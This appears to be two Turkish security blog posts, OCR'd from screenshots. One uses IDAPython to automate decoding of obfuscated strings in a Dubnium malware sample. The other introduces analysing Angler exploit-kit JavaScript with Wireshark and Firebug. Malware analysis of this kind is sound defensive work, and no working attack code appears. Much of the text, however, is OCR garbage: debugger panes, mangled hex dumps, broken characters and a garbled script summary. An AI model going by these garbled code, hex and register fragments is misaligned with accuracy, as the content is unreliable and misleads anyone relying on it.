DOHEFHCO
DONEFACH

-
T950C.
BONGFI
00000
BO4EF1
B10EM
D04F D

UNKN: 0046 (Syns =

»
o & x

W shieypargen exe C\User Mer\Desk 5 dubriumisskeyporgen v 1 .o

File Edit Jump Search View Debugger Options Windows Help

» O O Local Win32 -w@ 300w I FPrF E4 O HEY @8
LB I =
Library function [ll Data [l Regular function | Unexplored [l Instruction | External symbol
Debug View o um Structures 0 l o —— -
T IDA View-EIP e et o & x ¥ General registers L
EAX 00000001 sl 1 ;]
5 Modules. oe® x
Path -|
CA\Users\Mert\Desktop'\dubni e rop— EI
C,\Wmlm\SvsWOWM\wksddl =t
[esp*S48h+String): [Stack [00000ACE ) : 0046F4DO) 2 .
@® o
s 3  Threads oex
@ o Dedmal
ecx. offset duord 11088 d T r e
call  sub_ 1177036 @® 6Fh - o [@2760 ACB  Ready
1ea m [espesuunevor_524] @ &Fh . o
push int dab Thh ;¢
ln m |«p*§l|l‘htw §18) db SCh \
A TarmsEBOnetieimal “ ‘3h e
100.00% (-153,1117) (791,121) 00094166 01174D66: sub_1174CC9+9D (Synchronizew sawu waes
T Hex View-1 o # x Dackviewnd # x
D1174D10 SC 24 18 89 SC 29 1C 89 SC 24 20 89 9C 2% 38 05 \$.8\$.M\$-ecse. -
01174020 00 00 8D %4 24 25 68 0% 01 00 00 53 50 88 SC 24 ...D$Xh....SP#\S DO4EFHAC
01174030 30 E8 SA 66 00 00 83 C4 OC 88 9C 24 2C 01 00 00 E| 0046F 480 2
01174040 8D 84 24 20 01 00 00 68 FF 03 00 00 53 S0 ER OO4GFAEY  DOWEF
on1meose THCENEE 83 cv 08 80 5% 24 28 B9 FO 9 10 01 88 0O046FYES  DOODO
01174060 B 68 05 01 00 00 ES CB 22 00 00 8D 94 24 34 01 DO4EFHEC  DOYEF!
81174070 00 00 CT 04 24 00 04 00 00 B9 FO A8 10 91 E3 B3 BONGFHCO  O10E0H
01174080 22 0O 00 8D &4 24 20 50 8D 94 24 38 01 00 00 80 UNKN 0046 (Syn. =
00094150 01174D50: sub_1174CC9+87 . 4 »
= Output window oex

BrirUUUY: 108080 L \W1INOOWS |\ 3YSEUSSY \SrUcil oLl

GEE90000: loaded C:\Windows\SysWOME4\mkscli.dll

77010000: loaded C:\Windows\SysWOWEY\ise32 d11

TSEF0000: loaded C:\Nindows\syswows4\msctf dll

PDBSRC: loading sysbols for °C:\Users\Mert\Desktop\ i irgen. exe”

PDB: using nta dll “C:\Program Files (x86)\Common Filu\llleruoﬂ snﬂd\UC\mh!U a1
PDB: DIA interface version 9.0

| Python |
AU, idle Down Disk: 2068

-

sub_ 1177036 fonksiyonu cagrildiktan sonra ¢oziilen karakter dizisinin (string) EDI yazmacinda (register) yer aldigini gérdiim.
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Library function [l Data [l Regular function I Unexplored [l Instruction © External symbol

Debug View o 1) Structures. 1) Enums.
T IDA View-EIP y ; o O & x i General registers o8 x
push 3FFh st ] ;i“' EqAX 00000001 =i 1 :
push wbx : Val 53 Modules oe x
push eax : Dst |
call menset Path ‘l
add esp, 8 & C\Users\Mert\Desktop\dubni hkeypairgen.exe L
lee it e it Lok ™3 C:AWindows\SysWOW64\wkscli.dil >
L ebp, ebx h B ks
push  105h :int
s "m“ﬁ- S Threads AL
mou [esp*Sabhtuar_S44], : int Decimal H Stat
mou  ecx, offset dword. ireasre ; St o o= s
call  sub 1177036 Bl2760  ACB  Ready
lea eax, [esp*SH4htuar_524)
push eax ; int
lea edx, [esprSHBheuar ALl o
Tan ———— TarmsClTnaets =
100.00% (-153,1117) (718, 330) 00094166 01174D66: sub_1174CCH+9D (Synchrd R Jump to address “
T Hex View-1 Jump address (nd6lddaL v 0 & x TStackviewD @ x
01174010 SC 24 18 89 SC 24 1C 89 SC 24 20 89 9C 24 38 05 \$.¥\$.¥\$ 8088, : : . ooseFwas TN .
01174020 00 00 8D 44 24 68 04 01 00 00 53 S0 88 SC 24 ...0S%h.. N\S oK Cancel Help DOHEFHAC 00000 _
01174030 30 ES SA 66 00 B3 C% OC 88 9C 24 2C 01 00 E| 0046F4B0  TISDC. =
G11740%0 80D 84 2% 20 @1 53 S0 Es

DONEF4EY  DO4EF)
DONEF4EE 00000
DONEFSBEC  DONEF!
DOSGF4CO  O10EH
UNEN: 0046 (Syn: =

01174050 66 00 00 83 CY
onmose T 68 05 01 00

B0 54 2% 28 B9 FO 9 10 @
EB8 CB 22 00 00 8D 94 28 34
01174070 00 00 CT 08 24 04 00 00 BY FO A8 10 01 EB
01174080 22 00 00 8D &% 20 50 8D 94 24 38 01 00 00

00094160 01174D60: sub 1174CCH+97

2g8888u%
g
2
g
g
8

- 4 »
¥ Output window o e x

FUDINL: LOBOLNG SYSDDLS TOr L :\USErS\Ner\UssK LOp\OUON1uN\Ssnkeypairgen. ox

PDB: using DIA dll "C:\Progras Files (x86)\Common Files\Microsoft Sh.fld\l-t\nduw d11” £

PDB: DIA interface version 9.0
Python>GetReglalue( "edi’)
8650196
Python>hex(GetRegUalue( edi’))
OxHEFaduL

4 |

Python
AU:_ idle Down Disk: 20GB

AT —— e
raeammmmwwm

> @0 Local W ebuig *@ 30%c IS l‘l‘l o C ey @
Library function [l Data [l Regular function umplmdﬂlnﬂmmm F_mmd;ymbd
Debug View a Ly Structures. 1) Enums.
'.:I_DAI\!'IM-EI_!F 0 3 s 0 # x 5 General registers o0& x
push  3FFh : Size E£AX 00000001 sl 1z
push wbx : Ual 53 Modules oe x
push eax : Dst =1
call menset Path =
add esp, 8 S8 C\Users\Mert\Desktop\dub e P E
+ d P YPaig e
lee od: ok w3 CAWindows\SysWOW6A\wksci.dil
mou ebp, ebx - L} -
push 105h int
"y
ﬂ ;'“u “‘: [ ?036'"_ ar_¥10) T Threads oe x
nou [esp*SHdheuar_544]. 4B0h : int Skl Hex —
moy ecx, offset dword_110M8FO : Str
call  sub 1177036 Bl2760  ACB  Ready
lea m |np'5“h0vlr S24)
push in'
lea odx lﬂp'shshmv 18] : lpString
1. TAndRUORAT b einal - Tntieina
100.00% (-153,1117) (718,330) 00094166 01174D66: sub_1174CCH+9D (Synchronized with EIP)
T Hex View-1 0 @& x TSackvienD & x
OD4GF430 06 0O 00 00 CO €2 SD 79 EO F9 46 00 84 2F 19 01 "JUIFI} - ne SRR -
0046F4a0 FF FF FF FF 68 4D 17 01 @5 ©1 00 00 FF 03 00 00 1 DOSGF4AC  DOBOO. _
ODYEFHE0 28 €2 SD T9 1C FA 46 00 04 01 00 08 S4 FC 46 00 =l possFupe  79S0C.=
GO4GFSCO 00 90 OE 01 SE 00 4F 00 00 00 00 00 00 00 00 00 DONGF4ES  DONGF)
OO4GFAD0 00 00 00 00 T2 6F 6F T4 SC 63 69 6D T6 32 00 00 DONGFHEE 00000
OOMGFHED 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 DOREFHEC  DONGF!
ooueFyro [If 00 00 00 00 0O 00 00 00 0O 00 00 00 00 00 00 | DONGF4CO  010ED
DO4GFS00 90 00 00 00 00 00 00 00 00 OO 00 6O DO GO O 0O . ............... UNKN: 004€ (Syn: =
UNKNOWN 0046F4FO: Stack[00000ACS]:0046F4F0 - 4 »
T Output window o e x
FUBSKL . 10801NG SYSDODLE TO L \USENS \ASr TLUSSK LOP \OUDNLUR\SENKEYDalrgen . exe .
POB: using DIA dil “C:\Program Files (x86)\Common Files\Microsoft Shared\UC\nsdia%0. d11"

PDB: DIA interface version 9.0
Python>GetReglalue( "edi’)

4650196
Python>hex(GetRegUalue( "edi’))
OxHEFUHL

Python

AU;_ idle Down Disk: 206B

Bunu tespit ettikten sonra IDAPython ile manuel olarak gerceklestirdigim adimlari otomatik olarak gergeklestirecek bir betik
hazirlamaya karar verdim.

Betik temel olarak su adimlar1 gergeklestiriyor;

e Gizlenmis karakter dizisini ¢dzen sub_ 1177036 fonksiyonunun ¢agrildigi sub_1174CC9 fonksiyonun girisine kesme noktasi
(breakpoint) koyuyor.

* Yeljce(hR gizlenmis karakter dizisini ECX yazmacina kopyalayan komutun tizerine kesme noktasi (breakpoint) koyuyor. (mov
ecx, offset Yeljce(hR )

¢ Karakter dizisini ¢ozen fonksiyona (sub_1177036) iletilen tiim gizlenmis (encoded) karakter dizilerini teker teker tespit ediyor.
¢ Dongii igine girerek sub_1174CC9 fonksiyonunda yer alan ve Yeljce(hR  gizlenmis karakter dizisinin yer aldig1 adresi (offset
Yeljce(hR ), tespit ettigi diger bir gizlenmis karakter dizileri ile teker teker degistiriyor ve karakter dizisini ¢ozen fonksiyona

iletiyor.
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¢ Gizlenmis karakter dizisi fonksiyon iginde c¢oziildiikten sonra EDI yazmacindan ¢ozilmiis karakter dizisini okuyor ve

DA -

sub_1174CC9 fonksiyonunun bagina doniiyor ve ayn1 adimlardan tekrar gegiyor.

thﬂhmmmmwﬁmw%

«@ 300 B FIrr

=F ]

--l l_mlmm_
Library function [l Data [l Regular function I Unexplored [l Instruction  External symbol
Debug View
IDA View-EIP

100.00% (-431,-80) (919,74) 000SDE7B 0114EATB:

T Hex View-1

0114E0%0

B114ERSO F8 59 59 SF SE 88 ES S0
15 4%

0114Ea60
B114EaTE
0114ER80

FC 8B %5 08 ST 56 89 45

E“WWWGQNSB

0009DETO0 0114EATO:

?BBI 85 Co Ty

__purecall+1?

Output window

o
o o

F8 EB Ch 12 00 00 DD 45
C3 FF 35 20 'C 20 01 FF
02 FF DO 6A 01 GA 00 E .Dg*. b+t
EB 76 0D 80 E8 EN TE 08 88 +v. .VWTdu..FS™.
80 3C 16 01 E8 1F 30 0@ T....j.h{<..F.=.

70850000: loaded C:\Windows\SysWOWE4\srucli.dll
TO840000: loaded C:\Mindows\SysWONEY\wkscli dll
T7010000: loaded C:\Windows\SysWOWGY\isa32 dl1
TSEF0000: loaded C:\Windows\syswowG¥\mectf. dll
POBSRC: loading sysbols for 'C:\Users\Mert\Desktop\dubnius\sshkeypairgen.exe’. ..

Python |15 find_function() find_encstr() find_boundary() start() & Patch encoded string with the next encoded one, decode it and then show it to me ;) m = 0 for | in enc_arr:  patch(i) find_decstrim) m = m + 1 & time.sleep{1) print "Decoded %s strings” % (m)

AU;_ idle

Down

Disk:

20GB

Ly Structures i}
Strings window
(" =l =
}sms
Attributes: library function |mou ecx. [ebp-14h])
| mou eax, [ecx]
publte start mou wax, [eax]
tnﬂ pree near ]m [ebp-20h], eax|
—..security_init_cookie| push  wcx
jmp $45 push  eax
|eall __NeptFilter
]m ecx
pop L=
$LM23:
retn
M }

start (Synchronized with EIP)

nIE.!J.C'F-. «« 1K
WV_"Ta]ee8e. 0.0
*3.3.F

o i

Enums.

& General registers oe
EAX TEDB3I3B8 @ kerneliZ dll kernel32 .m‘l'hl'u «|Ip @
EBX TEFDE0@O kd'buooll TEFDEDDG uIP @
[ » UIF @
5 Modules. o e
Path
W CA\Users\Mert\Desktop\dub hkeypairgen.exe
Ml CAWIndows\SvsWOW6E4\version.dil
“ m »
T Threads L]
Dedimal Hex State
[3012 B4 Ready
o x BEs.0 @
. oesoFane [
—, DO30FARN T
=loo30Faas 0
UNK 003 (Sy
- »

m »

4 |

DA -

thﬂhmmmmwﬁmw%

«@ 300 B MPrr
--IIIEI-_-HI-

=1 ]

Library function [l Data [l Regular function Unexplored [l Instruction F_mrndsymbd
Debug View
IDA View-EIP

100.00% (-79%,1101) (1191,21) 000940C9 01144CCH9:

T Hex View-1

0114EA%0

01 14ERGD
0114EATO

FC 8B 45 08 57 56 89 45
O114ERSG F8 59 59 SF SE 88 ES SD
15 44 71 20 01 85 Co T4

0009DET0 0114EATO:

S8 59 E9 EB

__purecall+l?
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F8 E8 CA 12 00 00 DD 45
€3 FF 35 20 1C 20 01 FF
02 FF DO 6 01 GA 00 @8 .Dq-.A+t.
TG 00 00 E8 EN TE 00 00 +u. . VWTdu. .FS$™..

Ly Structures
Strings window

[esp*S3Ch+uar_NOF)

3FFh : Size

obx : Ual

vax : Dst

_memset

esp. ©

edx, [esp*S4Oh+String]

ecx, offset off_100B220 Yeljce(hR_

ebp. ®

105h : int

sub_1147036

[esp*Shshevar_S44], 4668h ; int

ecx, offset dword_10DASFO ;
sub 1147036
sub_1144CC% (Synchronized with EIP)

Str

nIE. WUSE*F-. . . IE
W_"Te)eBr ...
*=j.3.F

B General registers
EQX 00000001
5 Modules

Path

A bl

(38 C:\Users\Mert\Desktop
wd C\Windows\ SvsWOWE4\version.dil
m

T Threads
Dedmal Hex State
EE P ] Ready

g oe
UUZEBst ]
UNK 002 (Sy
4 L

4« [ »

: Output window o i Breakpoints
WUUT WSS DA IDUDITE | ENCUUNE 30T LOYT | VCE G| e eaa miveie T | O O] SYN | RTIRaRa0R | G0 RG] SN | UNCOUWY SUT LN | ADZARDEARDEARDLA " ROLARGER " ROLARDER " ROEARDLA " RO LARDEAROERROER
TOZXTOZX)
Address: Ox10db188 | Encoded String: Ilc ®Ndd+:d_ej/R[’'h# | Decoded String: $-1-S-19\Environsent
Address: Ox10d%af@ | Encoded String: Yeljce(hR_ | Decoded String: root\cimu2
Address: Ox10db1a® | Encoded String: VUVM-Th|)rr3[[D_([[vbeh[j[<[W 17[hHIccTjM2d[jivh_II | Decoded String: Select Started From Win32_Service Where Name : “Ls"
Address: Ox10dbid4 | Encoded String: HK1:J | Decoded String: TRUE:
Address: Ox10d3af@ | Encoded String: Yeljce(hR_ | Decoded String: root\cimu2
Address: Ox10dblde | Encoded String: ER(FI)jWjc_[d[_oidUN] | Decoded String: Winl2 OperatingSystem
Address: Ox10db1f4 | Encoded String: Y[VkjIhh[ _TEj | Decoded String: OSArchitecture
Rddress: 0x10db220 | Encoded String: GMB | Decoded String: WOL
Address: Ox10db224% | Encoded String: 9:J7HCICEB t7v: | Decoded String: SELECT = FROM -
fAddress: Ox10db220 | Encoded String: GMB | Decoded String: WOL L
Decoded 109 strings -
AUz idle Down Disk: 20GB

m

Sonug olarak bu 6rnekten yola ¢ikacak olursak, IDAPython eklentisi ile giivenlik arastirmasinda, zararli yazilim analizinde zaman
alabilecek siiregleri hizlandirabilir, ¢aligmaniz i¢in deger iiretebilecek ¢iktilara kisa bir siirede ulasabilirsiniz.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not:GitHub sayfam iizerinde hazirlamis oldugum Dubnium String Decoder isimli betigi bulabilir ve yazi boyunca anlattiklarimin kisa
bir dzetini kayit etmis oldugum asagidaki oldugum videoda izleyebilirsiniz.

The post IDAPython ile Otomasyon appeared first on Hack 4 Career - Siber Giivenlik Giinligi.

Zararh JavaScript Analizi

Source: https://www.mertsarica.com/zararli-javascript-analizi/
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By M.S on November 1st, 2016

JavaScript, yaygin olarak internet tarayicilarinda kullanilan bir programlama dilidir. Internet tarayicilarinda kullanilmasi nedeniyle de
cogunlukla giivenlik arastirmacilar1 ve art niyetli kisilerce internet tarayicilarinda giivenlik zafiyetleri tespit etmek ve tespit edilen
giivenlik zafiyetlerini istismar etmek (Ornek: Aurora Operasyonu) amactyla da kullanilmaktadir.

Ayrica JavaScript'in istismar kitleri tarafindan hedef sistemin kontroliinii ele ge¢irmek ve zararli yazilim yiiklemek amaciyla kullanildig:
da goriilmektedir. Bir zamana damgasin1 vuran ve hem son kullanicilara hem de kurumsal kullanicilara bir hayli zor gilinler yasatan
Blackhole istismar kitini ve gelistiricisi tutuklandiktan sonra istismar kiti piyasasini ele gegiren Angler istismar kitini buna 6rnek
gosterebiliriz.

Magnitude
14.2%

FlashPack
9.6%

&pt 2014 Other
14.6%

23.1% 38.7%

MNuclear

16.0%
Angler
BN May 2015
Fiesta
05%
Magnitude
0.4%
Gondad

0.1%

Gegtigimiz aylarda, Angler istismar kitinin ele ge¢irdigi hedef sistemlere Cryptowall zararli yazilim yiikledigi, Heimdal giivenlik firmasi
tarafindan yapilan bir arastirma sonucunda ortaya ¢ikt1.

Hem kurumlara gergeklestirilen siber saldirilara hem de istismar kitlerine bakildiginda, JavaScript'in 6nemli bir role sahip oldugu
goriiliiyor. Durum bdyle olunca da, zararli JavaScript kodlarmin giivenlik uzmanlar tarafindan analiz edilebilmesi daha da 6nem
kazanmaya basladi.

JavaScript'i OllyDbg, Immunity Debugger veya IDA Pro gibi hata ayiklayici araglari ile adim adim analiz etmek pek miimkiin degil.
Bunlar yerine JavaScript hata ayiklamasi 6zelligine sahip olan ve hem Chrome hem de Firefox internet tarayicisi eklentisi olarak
yiiklenebilen, ticretsiz Firebug eklentisinden faydalanabilirsiniz.

Elinizde analiz etmeniz gereken ve Angler istismar kitine ait "trafik dosyasi1" (PCAP) oldugunu diisiinelim. Yapacaginiz ilk is, http filtresi
ve Follow TCP Stream ile Wireshark aracinda, HTML dosyasi i¢inde yer alan siipheli JavaScript'i tespit etmek olacaktir.
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https://tr.wikipedia.org/wiki/JavaScript
http://www.ibtimes.co.uk/google-chrome-exploit-targets-javascript-engine-let-attackers-hack-any-android-device-1528560
https://www.rapid7.com/db/modules/exploit/windows/browser/ms10_002_aurora
https://en.wikipedia.org/wiki/Operation_Aurora
https://www.mertsarica.com//?s=istismar+kiti
https://en.wikipedia.org/wiki/Blackhole_exploit_kit
http://www.securityweek.com/blackhole-exploit-kit-author-paunch-arrested-reports
https://blogs.sophos.com/2015/07/21/a-closer-look-at-the-angler-exploit-kit/
https://heimdalsecurity.com/blog/security-alert-angler-exploit-kit-spreads-cryptowall-4-0-via-new-drive-campaign/
http://www.ollydbg.de/
http://www.immunityinc.com/products/debugger/
http://getfirebug.com/whatisfirebug
http://malware-traffic-analysis.net/2015/12/03/index.html

30141300 Angles-LX-delivars-Cryplumad- ratfic peap [Wireshark 1105 (IVN Hew S4383 from firwsh-1 13)] - [FX
B G e o Cgtes jreies Fuman Teepeny Jae s i
LE R BXQ fe+eT1 BE aaan gEex 3

o v * Epremar. Cuw S

r =T e wncn T T e o

..
™. ..GE T fboar
) i e D00 )

0 A7 4%

OF e % oo ad Semrgiaten e X077 Ouplerst 00

JavaScript'i basartyla tespit ettikten sonra HTML kodlarindan kurtulup dosya i¢inde sadece JavaScript kodlarint birakmak, formatini
biraz diizenlemek ve hata ayiklamaya baslayacaginiz yere debugger; anahtar kelimesini yerlestirmek, analizinizi kolaylastiracaktir.
(debugger; anahtar kelimesini kullanmak yerine farkli yollar da izleyebilirsiniz.) Ancak Angler istismar kitinde oldugu gibi kimi
durumlarda, JavaScript ¢alisgma esnasinda HTML kodlarina da ihtiya¢ duydugu i¢cin HTML kodlarindan kurtulmak iginizi aksine
zorlastirabilir.

frROduEHeGCAcd = flulx ¥ (

hABEAS, mafilid
| == nglev 1] hACIEEYRE( "

saflie = this| n - Hiascucy | * 1

avigator useshgentd) |

|
o «|

g MEETT w17 LA B2 G 00 Se0]0 Deshardow U8 whBOM 6

Hata ayiklamaya baslamak i¢in Firefox internet tarayicisini agip, sag iist kdsede bulunan Firefox ikonuna bastiginizda, Firebug aktif
hale geldigini gorebilirsiniz. Ardindan Javascript kodunu igeren HTML dosyasini Firefox internet tarayicisi ile agtiginizda, Firebug hata
ayiklayicisinin debugger; anahtar kelimesi iizerinde sizden komut bekler halde bekledigini gorebilirsiniz. OllyDbg, Immunity Debugger
vb. hata ayiklayicilar kullanantyorsunuz, asag1 bolimde, sag iist kdsede yer alan butonlar veya kisayollar (F8 - Continue, F11 - Step
Into, F10 - Step Over) sayesinde FireBug'1 benzer sekilde kullanabilirsiniz.
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Hata ayiklamaya basladiginizda, Firebug aracinin eval() fonksiyonu iizerinde durdugunu goéreceksiniz. Sag tarafta ise eval() fonksiyonu
tarafindan yorumlanacak/calistirilacak olan H4BAS degiskeninde yer alan JavaScript kodlarini gorebilirsiniz. Bu durum size, JavaScript
kodlarinin bu HTML kod icerisinde gizlenmis oldugunu, internet tarayicisi tarafindan, ¢calisma (run) esnasinda agik hale geldigini
(decode) ve caligtirilmak iizere eval() fonksiyonuna iletildigini agikca gostermektedir.

U

8 [T R —re—————— e ey e " " I 0K S B AN |

@ onatie- L, cochom- O35 [ Porme @ mager- i nhermanre [ Mecdeos- F outre #F Remee 4 Toon- ([ Vew Source ), Cplore- L

AT FIFF1 26 CEAD 278D 02 14 C2 87 93 Fo CTH-v FS 17 B0 12 OCX0 84 1E 200 06 DY A B00 Flan A 9C 0le 2. 0% SE CD DK 19 3A C7 Al FD F3 8C 7C 81 D2 D0 EA FS 5B %85 E7 11 10 5C 84 Fi5 84 20 82 9B D BC OC' 158 E3 E32 Do 1 045 60 22 21 A
98 1B DEK E* A6 EF 9C 9F- It‘f:e-"<-hlk|-1- FF B0 SB 2B 94 8% FA 86 1C ED D™ II;» 4 F* 81 90 16 93Wx AS EE bl 804 LA E4P- DC "I BIXX 14 18 BF T EA 04 S6aal 24 81 FS D4 DC 2901 7B 96 08 8¢ 7B 5C Bl Bé ET Eda 16 ED 17 ESK DENS 02 C3 CC 83 0B B* TEEA

3 FB FRj CA BF 90 AA F” E6
B9 B4 0 Biv 97 FE iF E9 8A 583 iE B2 E1 AS 2Bx BE Fé 29 ESA 09 00
BHIMES
BCH 197 91 0Bqe 4o CSHE B3 ASY O0 5D SE B0 98 C
B 84 B 260 163z BC ACI BF FEv FD 3CL E9 85 00 14 22 BSI 8698 C
BC 96 ASCF 93 2
BAFS 10z 865 ‘D AS JEOF4 FE C% 16 8B 0™ x FOF BS BC C4 980 06 0D 3Cw JEES AJFRE2 23B%a2
IV 40 Al AD g DS Cis 7 AD TB D7 578 Fok 07 Ficl EFy E2 JE 00 AE2 BFyv 7C FA FA BO 92 TFNA) 13 82 AC Ed 9990 Book BDs
Dé 3

F

97 B9) EOZ B9 ESz E1 9C C0 FPMsk 5C 60 DS 87 40 20 1E O0 15 Con DD 8F3 5C 26 F7a FE 90 B2k 5B 7F ED B4 AB 5B/ 0D F* SE %D 00 21G DI 2408 A3 Al §3 0A0 DI 21 E0 042 DB DE
DEp 93 BCE F7 08 FB FD JCX 6 14 A2 llu‘wnruun'F'

BC D 343 179007

€403 81 20M0 14 AJE9 5D ¢ Ed AA TC OO
'FBMrw'F\ AS 05 A" Ficx B9 B6 24 90 19 SE 5B II WFY AN EBS
ED 228 AS 06 D8 DC 98 Db & SHE
) A 9F ES C1 AS 21 IFDT Fi °C 19 Fe D7 DIK 84 1Fg A

6 94 7C D FE 93 FB DB BD A2
A FE 25 DI CB 04 FD JBS €2 B7 52 E2q 0F6e | TEqED 082 nswu
09 AR 3C P9 EA A Flz 08 Bt 36 3 FAF
Fi AF C77U AFs ED 82 18 F4 994 120 Elp DA DB CIH 85 A2 B34 02 26 DEEAF M -\l:unHl‘H
& F3 FF AA 994l 03 [J:-si]—_‘rur--FW: 2 8A 91 CB CDh BF 0C BA AF 3A KT CC DS FDH
. BEI 26HY D4) EB D EE CAX 40 F2 CCms COLw 55 CFw DI £5h0 D& F* 24 DOM 3F 40 D7 T A DE C4 F7 86 C6 DE 9F 14 91 F2 09
" 94 DS CT 97700 1C AF 2D BF 0F Adm 98 34 E9 F5 D6 93 50 Al 9F 24 92 F2 09 BCH 29C B1 0F SFgX 14 1EW E” 25/ “Ca §1 0%M 52 D3 CD BB 119 06 FF FD 0% 7B 56 08 DB
[0 BE 5C 1) FB CE IC %6 ES 19 20 A6 E2 9AB %C §F E% A0 Digl C2 1D CB 39 "D oF 14 AF 5Dy B” CF "F8 81 90 Cos 0% 0Bd 26 3F DA E” EBOE 11 JEHsL 17V 97 9D 01 E%'T 12 91 A3 JF "F9F 17 CA F2
Ad Féc 90 0402 18 AD BI %8 13 0C %65 5F 07 OC 1A 14 90 ¥ 88 C7 1C FOW A%pdi 02 00 FF Déd 3Py Fi SE ECM FF BD FFADEA “Cn C6 7B FE 922 84 JE
SIMET C6 91 AD B 06 C5 9C 58 2B 2C Fi DA & [E9 98 81 AFf2 85W EE Al A% AF AE 27 00 17 14 BF Dén BOY 40 Al AD g Dbk 963 P9- C3
£% 02 B3 0Ep 80 ©7 C46 E3 28 FC IF DS FF 86 ES AA C3 AD Béx 5C DAE 22 D3 FD B A6 9BD C0 915 1C ASUK 34103 50D FE 9051 CF 99 CC BC 091 54 EdAz
¥ 08pk,_v 11 8D DA C9 97 20 Al 5C 11 A 0IL AR 06 0E B D0 93] BSG' 29 AD 60 81 D7 A9k 94 23 E” BIG AF 22 BOT AFY C1 F9 B BC A% AD CE 13 B98 C7 A6 EAC1 12 B DC FES CF 60 F8I C5) C1 A% ECn 03 998 DI 9C 87 D91 BD 68 AFa €2 2430 §F 1D 1EF EE ElE DI D "F80x 11
g 1960 AE 81 IF 3D TE ASQ 0C u'x«l-"l-l-!:l-wl-l-‘l‘l-nﬂ BB 24 9FIF DO 870k S04 LA E4P- 9118 Ad A2 12 ‘l-"“ﬂ\ D% E4 LE AD FC fiy 89 Bl EA 0D 10 3F 83 83 AR C3 40 FEL 24 83 4 85 §FE DD EDy Eol 24 82 Bém Fi Fop ES E4) O6 CFh C6 E4V ES 20 E* SBa 20N AJ ACx E9
%0 23 EF 1D AD CB 11 8D F 6 4 50 C4P B34 ES Clw 97w 30 1Esd 944 93D EF- SR 97Wa 11 96 72 44 1SE1 AF2 13 BC 168 0Cd F7U ALZ AGE E AT IF FIjV DA DS B 281 83 OC 91 A2 BD ES ES(C1 FR D 27 CD B6 B0 FS 1Pk JE Dl
4P 13 Fle 1E 20 IB 12 CHEA L 5B 91 91 E2 DD4_k 1 30s_o 58 A6 AS 60 2A IB F~ 93 99 CC BS 3C 0C FO C3 DEp SE 83 ASISS 0C D7
DF E* BI EF CA 50 E6 00’ Ad C2F 55 5B 0% 0F AE 12 D% Fo AF F7 2R BB Fé 3E OC B6 3C 0C Fo C3
52 Sivwy FBES D F23 98 9 21 29 86 00 BOw A7 16 BS 0A 5C 5Fb Die BI 06 Bé 136 27
D DC-Q Ol D™ 3 92 FF C2 C2 ‘BPy FS D4 07 EE %

&R 16%- 9F TR BIF CD 1% 1A 40w 90z B 0A E2 BC 88 0B Dox 1% OF 14 30N« DT 01k 98 DS BEP B DB FI A3 8% 5F DETH 7B 24 60 E1 5E AD 13 06 A
- BE C6 FF 8C A6 92 22w DBC 2.

BT 1% 56 I'\\ 9 BA SCL LA 02Thd B4 BS 94L DC FIL AJ AA JE 14
4 CA CF FC 96 34W A9 26 0dv FB 17 01 0F E0 89 5D EE DD BI CIH 19 CF 40 99 18 84 CB 9D B3
ASE AS AB BF DC A 60 99 D9 28 3OLP 0C
D 55 E7q B0
F3 EF

19 6FC BI oF il

X M LEW ET 20A 0A B1 BDdg 9E DI
V6OF EF

B 245 AILCH *ET B9 F* !l?"‘ﬂ“ 10129 15«

29 AB- 5B 97Wq 11 % “C 0D 11 %D 81T 92 06F 14 D2 §F AC 88 AA DF1 D9 DOJ 9C CE

FD ODER. 64T 62 7C COKW IBPB F

JEAA BS AB 96 EA 98k 04 Fi F3 AD ES C1 CFr €2 D9 FRIC7 AL L3 DI 13 C4 9
Bk D2 9C BA 7F B6 06 S B9 991 DF C4P 03 99 9 50 2
ml'..wumn--u.m 21 D4 2A A0 B4 AE BE 8A SEm 9% Al 9% BF 09 CF CEs CA DA 063_ 1D SBPy FS D4 07 EE %0 824 07U 60 EC

AF DO 20 DA(SE 9C B3 ABscR 7D B6RA B9 99L DF C5P 03 255 7E C0 99 92G8 3B 1C E0 BB 24y 3D 93 F6 409 00 84 21 IE
1Fk 3E D2 B6 CF DF A% q 3F 9F % Dl DC 8606 FS F2 BT C2B 893 A% 06 7E 21 17 %4c FF DC 87 9D 828 A2 AD SDa Flj 968 51 1E 22 05k ADA S29S %6 99 9FP DAJZ00M C1 DF 83 D3 ALl %Ce 89 CD 7E 93 ED 6B B0 BD DC DCzR BS 8308 EJ 04 AF EC ES7E 89 1B D9 "B 12 DE BS7 OC Bé 3C oC
Fo 3 DEpS TBEC 3C DC TE 06 28 "Dy Clm S 03 SD 08 5C 91 AAi Ad Jamp 24k’ 0C 27 SSL FEF? 3C 5B €I SA DS 50 X ES 94 BS A6 IF 3B 7F0 IF E4 P9 %6 EC | 6 TEPO E4 §7 CDE 0C 00CXE BD 08y 21 D4 24 A0 B4 AF BE 5 'E £3 ASI 83 00 D7
97 €1 980 4 BE DIFS 18N Ady AR B0 9 $F 84 8080 97Ka ©2h 19 52 112 Flko S0We Bd A3 00 F3 THe BC 93 9897 Rd- 1 F 04 91y % AF R 98 CDEH FC 1A 84 20 RAR 95 TR 99 43 19 F R 10 AF.TIA F6 TN, K6 AJ 29 TF 7 3C K D CF 37 90 K18 17 RY: =
Lt B SO - v DM et ok P ¢ ~ v BDE@

§ | i+ angheiwnt Somatient » IAOAMIGCA « 50« g te. et o » [ a— .
@ 014 e D uson overes el -E.-.-'hl_-..'lwlp—' Dedie | @ .

o - - +

- 5

“ ) o

" u nens - e ' s

n e -

n P T —  wpmen OBt | - ket )

" it 0 g T T ——— o aue

" wakiid = watid. aiice

n N

-

"
P sy
. el (hdias)

"

"

"

"

"

- .

" h

" K »

-

91



x
A fOoc._ i _tormat Fmd

€ B W oouments i Serrgudmrny st ek g g _m_ormat il X || O sew a8 4+ A 4 - B

@ ottt L Coctm- 55 [ Poms- @ mages- @ nrmanre [ Mecdreos-  ouire #F Reoe- 8 Took- [ Vew Source ), Cptors A

*aATqq FI F6 FI 26 C3 AD 27 9D 02 15 C2 87 93 FO CTH-v FS 17 B0 12 OCX0 82 1E 2081 06 D A2S A6 S00 Fian A7 9C 0de 24 21 BEP Ad C3 C1 080 09 SE CD DMK 19 3A CT Al FD F3 8C 7C 81 D2 D0 EA FS 3B 985 E7 11 10 3C 84 F35 84 0 52 9B 'D BC CC/ 1L3B E3 E22 LA D C1 02 6022 21 e

